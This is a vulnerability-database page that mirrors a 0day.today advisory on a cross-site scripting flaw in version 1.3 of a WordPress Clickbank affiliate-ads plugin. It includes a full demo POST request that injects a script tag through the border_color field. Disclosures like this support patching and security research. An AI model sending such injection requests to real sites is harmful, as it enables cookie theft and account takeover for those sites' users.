Lucene search
K

WordPress Affiliate Ads For Clickbank Products 1.3 XSS Vulnerability

🗓️ 15 Nov 2017 00:00:00Reported by Ricardo SanchezType 
zdt
 zdt
🔗 0day.today👁 21 Views

WordPress Affiliate Ads Clickbank Products 1.3 XSS Vulnerabilit

Code
Credit Ricardo Sanchez
Vulnerable Affiliate Ads for Clickbank Products Plugin 1.3

Affiliate Ads for Clickbank Products Plugin is prone to a stored cross-site
scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the values are not filter correctly:


Demo Request POST:

POST /wordpress/wp-content/plugins/affiliate-ads-builder-for-
clickbank-products/text_ads_ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 227

show_product_descr=1&show_read_more_btn=1&default_font_
family=1&fill_color=1&border_color="><script>alert("XSS")</
script>&link_color=2&kws=1&cols=1&rows=1&ref=1&descr_
color=1&height_adjustmen=1&hide_footer=2&height_adjustment=1

#  0day.today [2018-03-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation